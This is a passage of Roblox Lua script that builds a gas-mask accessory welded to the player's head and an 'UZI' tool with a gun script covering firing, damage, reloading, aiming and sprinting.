  547. o9.FormFactor = Enum.FormFactor.Custom
  548. o9.Size = Vector3.new(0.600000024, 0.200000003, 1)
  549. o9.CFrame = CFrame.new(-12.8061161, 3.77991295, 49.9993477, 0.404059976, 1.74156298e-007, -0.914723039, -1.6136562e-007, 1, 1.0455733e-007, 0.914730787, 9.62157287e-008, 0.404063195)
  550. o9.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  551. o9.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  552. o9.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  553. o9.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  554. o9.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  555. o9.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  556. o9.Color = Color3.new(0.388235, 0.372549, 0.384314)
  557. o10.Parent = o9
  558. o10.MeshId = "http://www.roblox.com/asset/?id=3270017"
  559. o10.Scale = Vector3.new(0.340000004, 0.300000012, 0.300000012)
  560. o10.MeshType = Enum.MeshType.FileMesh
  561. o11.Name = "Straps"
  562. o11.Parent = o1
  563. o11.Material = Enum.Material.Fabric
  564. o11.BrickColor = BrickColor.new("Really black")
  565. o11.Position = Vector3.new(-13.5199518, 4.00991392, 50.2599869)
  566. o11.Rotation = Vector3.new(5.96738209e-006, 0.000100637961, 89.9999924)
  567. o11.Anchored = true
  568. o11.CanCollide = false
  569. o11.FormFactor = Enum.FormFactor.Custom
  570. o11.Shape = Enum.PartType.Cylinder
  571. o11.Size = Vector3.new(0.200000003, 1.49000013, 1.25999999)
  572. o11.CFrame = CFrame.new(-13.5199518, 4.00991392, 50.2599869, 1.44325043e-007, -0.999991238, 1.75646369e-006, 0.999999881, 1.31081052e-007, -1.04150445e-007, 9.48765404e-008, 1.6242019e-006, 0.999999762)
  573. o11.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  574. o11.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  575. o11.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  576. o11.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  577. o11.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  578. o11.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  579. o11.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  580. o12.Name = "Ring1"
  581. o12.Parent = o1
  582. o12.BrickColor = BrickColor.new("Dark stone grey")
  583. o12.Position = Vector3.new(-12.7999144, 3.76992106, 50.5299988)
  584. o12.Rotation = Vector3.new(-179.999969, -69.3177338, -179.999985)
  585. o12.Anchored = true
  586. o12.CanCollide = false
  587. o12.FormFactor = Enum.FormFactor.Custom
  588. o12.Size = Vector3.new(0.600000024, 0.200000003, 1)
  589. o12.CFrame = CFrame.new(-12.7999144, 3.76992106, 50.5299988, -0.353160918, 1.74156298e-007, -0.935553372, -4.22077129e-008, 1, 1.87534141e-007, 0.935561061, 9.62157287e-008, -0.353164017)
  590. o12.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  591. o12.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  592. o12.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  593. o12.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  594. o12.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  595. o12.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  596. o12.Color = Color3.new(0.388235, 0.372549, 0.384314)
  597. o13.Parent = o12
  598. o13.MeshId = "http://www.roblox.com/asset/?id=3270017"
  599. o13.Scale = Vector3.new(0.340000004, 0.300000012, 0.300000012)
  600. o13.MeshType = Enum.MeshType.FileMesh
  601. o14.Name = "Breather"
  602. o14.Parent = o1
  603. o14.Material = Enum.Material.Metal
  604. o14.BrickColor = BrickColor.new("Really black")
  605. o14.Position = Vector3.new(-12.7419596, 3.69627094, 50.2550011)
  606. o14.Rotation = Vector3.new(5.96738209e-006, 0.000100637961, -39.5510521)
  607. o14.Anchored = true
  608. o14.CanCollide = false
  609. o14.FormFactor = Enum.FormFactor.Custom
  610. o14.Shape = Enum.PartType.Cylinder
  611. o14.Size = Vector3.new(0.600000024, 0.340000093, 0.25000003)
  612. o14.CFrame = CFrame.new(-12.7419596, 3.69627094, 50.2550011, 0.771050453, 0.636759639, 1.75646369e-006, -0.636765182, 0.771057129, -1.04150445e-007, -1.31184265e-006, -9.5997575e-007, 0.999999762)
  613. o14.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  614. o14.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  615. o14.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  616. o14.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  617. o14.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  618. o14.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  619. o14.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  620. o15.Name = "Breather"
  621. o15.Parent = o1
  622. o15.Material = Enum.Material.Metal
  623. o15.BrickColor = BrickColor.new("Really black")
  624. o15.Position = Vector3.new(-12.5337915, 3.51434994, 50.2550011)
  625. o15.Rotation = Vector3.new(5.96738209e-006, 0.000100637961, -39.5510521)
  626. o15.Anchored = true
  627. o15.CanCollide = false
  628. o15.FormFactor = Enum.FormFactor.Custom
  629. o15.Shape = Enum.PartType.Cylinder
  630. o15.Size = Vector3.new(0.200000003, 0.340000093, 0.350000024)
  631. o15.CFrame = CFrame.new(-12.5337915, 3.51434994, 50.2550011, 0.771050453, 0.636759639, 1.75646369e-006, -0.636765182, 0.771057129, -1.04150445e-007, -1.31184265e-006, -9.5997575e-007, 0.999999762)
  632. o15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  633. o15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  634. o15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  635. o15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  636. o15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  637. o15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  638. o15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  639. o16.Name = "Breather"
  640. o16.Parent = o1
  641. o16.Material = Enum.Material.Metal
  642. o16.BrickColor = BrickColor.new("Really black")
  643. o16.Position = Vector3.new(-12.7920103, 3.39220095, 49.784256)
  644. o16.Rotation = Vector3.new(10.8745985, 48.2677155, -21.6106548)
  645. o16.Anchored = true
  646. o16.CanCollide = false
  647. o16.FormFactor = Enum.FormFactor.Custom
  648. o16.Shape = Enum.PartType.Cylinder
  649. o16.Size = Vector3.new(0.230000019, 0.540000081, 0.75)
  650. o16.CFrame = CFrame.new(-12.7920103, 3.39220095, 49.784256, 0.618847609, 0.24515225, 0.746263206, -0.230788618, 0.96486491, -0.125580132, -0.75083673, -0.0945150182, 0.653688967)
  651. o16.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  652. o16.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  653. o16.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  654. o16.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  655. o16.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  656. o16.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  657. o16.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  658. o17.Name = "Breather"
  659. o17.Parent = o1
  660. o17.Material = Enum.Material.Metal
  661. o17.BrickColor = BrickColor.new("Really black")
  662. o17.Position = Vector3.new(-12.8723783, 3.42192006, 49.8816109)
  663. o17.Rotation = Vector3.new(10.8745985, 48.2677155, -21.6106548)
  664. o17.Anchored = true
  665. o17.CanCollide = false
  666. o17.FormFactor = Enum.FormFactor.Custom
  667. o17.Shape = Enum.PartType.Cylinder
  668. o17.Size = Vector3.new(0.370000005, 0.540000081, 0.310000002)
  669. o17.CFrame = CFrame.new(-12.8723783, 3.42192006, 49.8816109, 0.618847609, 0.24515225, 0.746263206, -0.230788618, 0.96486491, -0.125580132, -0.75083673, -0.0945150182, 0.653688967)
  670. o17.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  671. o17.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  672. o17.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  673. o17.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  674. o17.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  675. o17.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  676. o17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  677. function onTouched(hit)
  678. local d = hit.Parent:GetChildren()
  679. for i=1, #d do
  680. if (d[i].className == "Hat") then
  681. d[i]:remove()
  682. end
  683. end
  684. if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Face") == nil then
  685. local g = o1:clone()
  686. g.Parent = hit.Parent
  687. local C = g:GetChildren()
  688. for i=1, #C do
  689. if C[i].className == "Part" then
  690. local W = Instance.new("Weld")
  691. W.Part0 = g.Middle
  692. W.Part1 = C[i]
  693. local CJ = CFrame.new(g.Middle.Position)
  694. local C0 = g.Middle.CFrame:inverse()*CJ
  695. local C1 = C[i].CFrame:inverse()*CJ
  696. W.C0 = C0
  697. W.C1 = C1
  698. W.Parent = g.Middle
  699. g.Middle.Transparency = 1
  700. end
  701. local Y = Instance.new("Weld")
  702. Y.Part0 = hit.Parent.Head
  703. Y.Part1 = g.Middle
  704. Y.C0 = CFrame.new(0, 0, 0)
  705. Y.Parent = Y.Part0
  706. end
  707.  
  708. local h = g:GetChildren()
  709. for i = 1, # h do
  710. h[i].Anchored = false
  711. h[i].CanCollide = false
  712. end
  713.  
  714. end
  715. end
  716.  
  717. onTouched(game.Players.LocalPlayer.Character.Head)
  718. end
  719. -------------------------------------------------------------
  720. function sandbox(var,func)
  721. local env = getfenv(func)
  722. local newenv = setmetatable({},{
  723. __index = function(self,k)
  724. if k=="script" then
  725. return var
  726. else
  727. return env[k]
  728. end
  729. end,
  730. })
  731. setfenv(func,newenv)
  732. return func
  733. end
  734. cors = {}
  735. mas = Instance.new("Model",game:GetService("Lighting"))
  736. Tool0 = Instance.new("Tool")
  737. LocalScript1 = Instance.new("LocalScript")
  738. NumberValue2 = Instance.new("NumberValue")
  739. NumberValue3 = Instance.new("NumberValue")
  740. Smoke4 = Instance.new("Smoke")
  741. Smoke5 = Instance.new("Smoke")
  742. ScreenGui6 = Instance.new("ScreenGui")
  743. Frame7 = Instance.new("Frame")
  744. TextLabel8 = Instance.new("TextLabel")
  745. Frame9 = Instance.new("Frame")
  746. TextLabel10 = Instance.new("TextLabel")
  747. Frame11 = Instance.new("Frame")
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  1220. CylinderMesh484 = Instance.new("CylinderMesh")
  1221. Part485 = Instance.new("Part")
  1222. CylinderMesh486 = Instance.new("CylinderMesh")
  1223. Part487 = Instance.new("Part")
  1224. BlockMesh488 = Instance.new("BlockMesh")
  1225. Part489 = Instance.new("Part")
  1226. BlockMesh490 = Instance.new("BlockMesh")
  1227. Part491 = Instance.new("Part")
  1228. BlockMesh492 = Instance.new("BlockMesh")
  1229. Part493 = Instance.new("Part")
  1230. BlockMesh494 = Instance.new("BlockMesh")
  1231. ManualWeld495 = Instance.new("ManualWeld")
  1232. Part496 = Instance.new("Part")
  1233. BlockMesh497 = Instance.new("BlockMesh")
  1234. Part498 = Instance.new("Part")
  1235. BlockMesh499 = Instance.new("BlockMesh")
  1236. Part500 = Instance.new("Part")
  1237. SpecialMesh501 = Instance.new("SpecialMesh")
  1238. Part502 = Instance.new("Part")
  1239. CylinderMesh503 = Instance.new("CylinderMesh")
  1240. Part504 = Instance.new("Part")
  1241. CylinderMesh505 = Instance.new("CylinderMesh")
  1242. Part506 = Instance.new("Part")
  1243. CylinderMesh507 = Instance.new("CylinderMesh")
  1244. Part508 = Instance.new("Part")
  1245. BlockMesh509 = Instance.new("BlockMesh")
  1246. Part510 = Instance.new("Part")
  1247. BlockMesh511 = Instance.new("BlockMesh")
  1248. Sound512 = Instance.new("Sound")
  1249. Script513 = Instance.new("Script")
  1250. Sound514 = Instance.new("Sound")
  1251. Script515 = Instance.new("Script")
  1252. Sound516 = Instance.new("Sound")
  1253. Script517 = Instance.new("Script")
  1254. Sound518 = Instance.new("Sound")
  1255. Script519 = Instance.new("Script")
  1256. Sound520 = Instance.new("Sound")
  1257. Script521 = Instance.new("Script")
  1258. Script522 = Instance.new("Script")
  1259. Tool0.Name = "UZI"
  1260. Tool0.Parent = mas
  1261. LocalScript1.Name = "Gun_Script"
  1262. LocalScript1.Parent = Tool0
  1263. table.insert(cors,sandbox(LocalScript1,function()
  1264. wait(0.5)
  1265. --Edit settings below--
  1266. local Tool = script.Parent
  1267. local Settings = {
  1268. Range = 600
  1269. ,Spread = 20
  1270. ,Damage = {20,40}
  1271. ,HeadShotDamage = {100,100}
  1272. ,Bullets = 1
  1273. ,FireRate = 0.07
  1274. ,Automatic = true
  1275. ,AntiTK = true
  1276. ,ImpactDuration = 3
  1277. --Reload
  1278. ,ReloadKey = "R"
  1279. ,ReloadTime = 2
  1280. ,Ammo = 32
  1281. ,IncludeChamberedBullet = true
  1282. --Gui
  1283. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  1284. --Arms
  1285. ,OneHanded = true
  1286. ,FakeArms = true
  1287. ,FakeArmTransparency = 0.5
  1288. ,RightPos = CFrame.new(-0.75, 0.5, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  1289. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  1290. ,AimPart = Tool.AimPart
  1291. ,AimPartOffset = CFrame.new()
  1292. ,AimGripOffset = Vector3.new(0, 0, 0)
  1293. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  1294. ,AimAnim = {
  1295. Enabled = false
  1296. ,Frames = 50
  1297. ,Time = 0.1
  1298. }
  1299. ,ChangeFOV = {true, 65}
  1300. ,SpreadReduction = 5
  1301. --Weld
  1302. ,Weld = true
  1303. --Mouse
  1304. ,Icons = {
  1305. Idle = "rbxassetid://70288585"
  1306. ,Fire1 = "rbxassetid://70288578"
  1307. ,Fire2 = "rbxassetid://70288572"
  1308. ,Fire3 = "rbxassetid://70288578"
  1309. ,Reload = "rbxassetid://70288599"
  1310. ,Aim = "rbxasset://textures/Blank.png"
  1311. }
  1312. ,FireMouseAnimTime = 0.15
  1313. --Recoil
  1314. ,Recoil = math.rad(2)
  1315. --Smoke
  1316. ,Smoke = true
  1317. ,SmokePart = Tool.SmokePart
  1318. ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}}
  1319. --Sprint
  1320. ,Sprint = true
  1321. ,SprintSpeed = 25
  1322. ,SprintKey = "0"
  1323. ,SprintSpreadIncrease = 40
  1324. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  1325. --Other
  1326. ,DropHats = true
  1327. }
  1328.  
  1329. --Do not edit below this lign--
  1330.  
  1331. local Orig_Spread = Settings.Spread
  1332. local Orig_Grip = Tool.GripPos
  1333.  
  1334. local Player = game.Players.LocalPlayer
  1335. local Character = Player.Character
  1336.  
  1337. local Camera = Workspace.CurrentCamera
  1338.  
  1339. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  1340.  
  1341. local Gui, CanUpdateGui = nil, true
  1342.  
  1343. local Sprinting, Equipped
  1344.  
  1345. function Update_Gui()
  1346. if Gui and CanUpdateGui then
  1347. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  1348. end
  1349. end
  1350.  
  1351. local Welded
  1352. if Settings.Weld then
  1353. Delay(0, function()
  1354. local weldC0s = {}
  1355. for i, v in pairs(Tool:GetChildren()) do
  1356. if v:IsA("BasePart") and v ~= Tool.Handle then
  1357. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  1358. v.Anchored = false
  1359. end
  1360. end
  1361. Tool.Handle.Anchored = false
  1362. local welds = {}
  1363. Tool.Equipped:connect(function()
  1364. for i, v in ipairs(welds) do
  1365. v.Part1 = nil
  1366. v:Destroy()
  1367. end
  1368. for i, v in ipairs(weldC0s) do
  1369. if v[1] and v[2] then
  1370. local w = Instance.new("Weld", Tool.Handle)
  1371. w.Part0 = Tool.Handle
  1372. w.Part1 = v[1]
  1373. w.C0 = v[2]
  1374. table.insert(welds, w)
  1375. end
  1376. end
  1377. end)
  1378. wait()
  1379. Welded = true
  1380. end)
  1381. end
  1382.  
  1383. local Left_Weld, Right_Weld
  1384.  
  1385. Ammo.Changed:connect(Update_Gui)
  1386. StoredAmmo.Changed:connect(Update_Gui)
  1387.  
  1388. Settings.Range = math.min(Settings.Range, 999)
  1389.  
  1390. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  1391. Ignore_Model.Name = "Ray_Ignore"
  1392.  
  1393. local Ray_Ignore = {Character, Ignore_Model, Camera}
  1394.  
  1395. Character.Humanoid.Died:connect(function()
  1396. Tool.Parent = Player.Backpack
  1397. end)
  1398.  
  1399. function Fire(Mouse)
  1400. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  1401. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  1402. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  1403. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  1404. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  1405. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  1406. return
  1407. end
  1408. local Humanoid = Hit.Parent.Humanoid
  1409. local c = Instance.new("ObjectValue")
  1410. c.Name = "creator"
  1411. c.Value = Player
  1412. game.Debris:AddItem(c, 3)
  1413. c.Parent = Humanoid
  1414. if Hit.Name == "Head" then
  1415. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  1416. else
  1417. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  1418. end
  1419. elseif Hit then
  1420. local Hit_Part = Instance.new("Part", Ignore_Model)
  1421. Hit_Part.FormFactor = "Custom"
  1422. Hit_Part.TopSurface = 0
  1423. Hit_Part.BottomSurface = 0
  1424. Hit_Part.Anchored = true
  1425. Hit_Part.CanCollide = false
  1426. Hit_Part.Size = Vector3.new()
  1427. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  1428. Hit_Part.BrickColor = BrickColor.new("Black")
  1429. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  1430. if not Hit.Anchored then
  1431. local w = Instance.new("Weld", Hit_Part)
  1432. w.Part0 = Hit
  1433. w.Part1 = Hit_Part
  1434. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  1435. Hit_Part.Anchored = false
  1436. end
  1437. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  1438. Hit.Parent.Parent = workspace
  1439. game.Debris:AddItem(Hit, 3)
  1440. end
  1441. end
  1442. end
  1443.  
  1444. local Can_Shoot = true
  1445. local Reloading = false
  1446.  
  1447. local First_Person = false
  1448.  
  1449. local Mouse_Held
  1450.  
  1451. Tool.Equipped:connect(function(Mouse)
  1452. Equipped = true
  1453. if Settings.Weld and not Welded then
  1454. wait()
  1455. Tool.Parent = Player.Backpack
  1456. end
  1457. Character = Player.Character
  1458. if Gui then
  1459. return
  1460. end
  1461. Ray_Ignore = {Character, Ignore_Model, Camera}
  1462. Mouse.Icon = Settings.Icons.Idle
  1463. Gui = script.Gui:Clone()
  1464. Gui.Parent = Player.PlayerGui
  1465. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  1466. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  1467. CanUpdateGui = true
  1468. Update_Gui()
  1469. Mouse.Button1Down:connect(function()
  1470. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  1471. Mouse_Held = true
  1472. while true do
  1473. Can_Shoot = false
  1474. Delay(0, function()
  1475. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  1476. if not Aiming then
  1477. Mouse.Icon = Settings.Icons.Fire1
  1478. end
  1479. wait(t)
  1480. if not Aiming then
  1481. if Reloading then return end
  1482. Mouse.Icon = Settings.Icons.Fire2
  1483. end
  1484. wait(t)
  1485. if not Aiming then
  1486. if Reloading then return end
  1487. Mouse.Icon = Settings.Icons.Fire3
  1488. end
  1489. wait(t)
  1490. if not Aiming then
  1491. if Reloading then return end
  1492. Mouse.Icon = Settings.Icons.Idle
  1493. end
  1494. end)
  1495. if Settings.Smoke then
  1496. for i, v in pairs(Settings.Smokes) do
  1497. local s = v[1]:Clone()
  1498. s.Parent = Settings.SmokePart
  1499. s.Enabled = true
  1500. game.Debris:AddItem(s, v[2])
  1501. if v[3] then
  1502. Delay(v[3], function()
  1503. s.Enabled = false
  1504. end)
  1505. end
  1506. end
  1507. end
  1508. for _ = 1, Settings.Bullets do
  1509. Fire(Mouse)
  1510. end
  1511. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  1512. if Tool.Handle:FindFirstChild("Shoot") then
  1513. Tool.Handle.Shoot:Play()
  1514. end
  1515. Ammo.Value = Ammo.Value - 1
  1516. wait(Settings.FireRate)
  1517. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  1518. break
  1519. end
  1520. end
  1521. Can_Shoot = true
  1522. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  1523. Tool.Handle.Click:Play()
  1524. end
  1525. end)
  1526. Mouse.Button1Up:connect(function()
  1527. Mouse_Held = false
  1528. end)
  1529. Mouse.KeyDown:connect(function(Key)
  1530. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  1531. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  1532. return
  1533. end
  1534. Can_Shoot = false
  1535. Reloading = true
  1536. local TextLabel = Gui.Frame.AmmoDisplay
  1537. Delay(0, function()
  1538. CanUpdateGui = false
  1539. TextLabel.Text = "Reloading."
  1540. wait(Settings.ReloadTime/3)
  1541. if TextLabel then
  1542. TextLabel.Text = "Reloading.."
  1543. end
  1544. wait(Settings.ReloadTime/3)
  1545. if TextLabel then
  1546. TextLabel.Text = "Reloading..."
  1547. end
  1548. end)
  1549. if Tool.Handle:FindFirstChild("Reload") then
  1550. Tool.Handle.Reload:Play()
  1551. end
  1552. Mouse.Icon = Settings.Icons.Reload
  1553. wait(Settings.ReloadTime)
  1554. Mouse.Icon = Settings.Icons.Idle
  1555. CanUpdateGui = true
  1556. local m = Settings.Ammo
  1557. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  1558. m = m + 1
  1559. end
  1560. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  1561. Ammo.Value = Ammo.Value + StoredAmmo.Value
  1562. StoredAmmo.Value = 0
  1563. else
  1564. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  1565. Ammo.Value = m
  1566. end
  1567. Can_Shoot = true
  1568. Reloading = false
  1569. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  1570. Sprinting = true
  1571. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  1572. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  1573. end
  1574. end)
  1575. Mouse.KeyUp:connect(function(Key)
  1576. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  1577. Sprinting = false
  1578. Character.Humanoid.WalkSpeed = 16
  1579. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  1580. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1581. end
  1582. end)
  1583. Mouse.Button2Down:connect(function()
  1584. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  1585. Aiming = true
  1586. Mouse.Icon = Settings.Icons.Aim
  1587. if Settings.AimAnim.Enabled then
  1588. Right_Weld.C1 = CFrame.new()
  1589. Right_Weld.C0 = CFrame.new()
  1590. Delay(0, function()
  1591. Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame))
  1592. end)
  1593. Delay(0, function()
  1594. Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftAimPos)
  1595. end)
  1596. Delay(0, function()
  1597. if Settings.ChangeFOV[1] then
  1598. Camera.FieldOfView = 70
  1599. local Cam_Dif, T_F = 70 - Settings.ChangeFOV[2], Settings.AimAnim.Time * Settings.AimAnim.Frames
  1600. for i = 1, T_F do
  1601. local FOV = 70 - Cam_Dif/T_F * i
  1602. Camera.FieldOfView = FOV
  1603. wait(Settings.AimAnim.Time/Settings.AimAnim.Frames)
  1604. if not Aiming then
  1605. return
  1606. end
  1607. end
  1608. Camera.FieldOfView = Settings.ChangeFOV[2]
  1609. end
  1610. end)
  1611. else
  1612. Right_Weld.C1 = CFrame.new()
  1613. Right_Weld.C0 = CFrame.new()
  1614. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  1615. Left_Weld.C1 = Settings.LeftAimPos
  1616. if Settings.ChangeFOV[1] then
  1617. Camera.FieldOfView = Settings.ChangeFOV[2]
  1618. end
  1619. end
  1620. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  1621. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  1622. end
  1623. end)
  1624. Mouse.Button2Up:connect(function()
  1625. if Aiming then
  1626. Mouse.Icon = Settings.Icons.Idle
  1627. Tool.GripPos = Orig_Grip
  1628. if Settings.AimAnim.Enabled then
  1629. Delay(0, function()
  1630. Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, CFrame.new(0, -1.5, 0))
  1631. end)
  1632. Delay(0, function()
  1633. Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftPos)
  1634. end)
  1635. else
  1636. Right_Weld.C1 = Settings.RightPos
  1637. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1638. Left_Weld.C1 = Settings.LeftPos
  1639. end
  1640. if Settings.ChangeFOV[1] then
  1641. Camera.FieldOfView = 70
  1642. end
  1643. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  1644. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1645. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1646. wait(0.25)
  1647. Aiming = false
  1648. end
  1649. end)
  1650. wait()
  1651. Camera.Changed:connect(function()
  1652. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1653. Mouse.TargetFilter = workspace
  1654. Character.Torso.Neck.C1 = CFrame.new()
  1655. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1656. end
  1657. end)
  1658. Mouse.Idle:connect(function()
  1659. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1660. Mouse.TargetFilter = workspace
  1661. Character.Torso.Neck.C1 = CFrame.new()
  1662. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1663. end
  1664. end)
  1665. while wait() and Equipped do
  1666. if Sprinting then
  1667. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1668. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1669. elseif not Aiming then
  1670. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1671. end
  1672. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  1673. Mouse.TargetFilter = nil
  1674. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1675. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1676. end
  1677. end
  1678. end)
  1679.  
  1680. local Arms_Made
  1681. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  1682.  
  1683. Tool.Equipped:connect(function(Mouse)
  1684. if Character and not Arms_Made then
  1685. Arms_Made = true
  1686. local Torso = Character.Torso
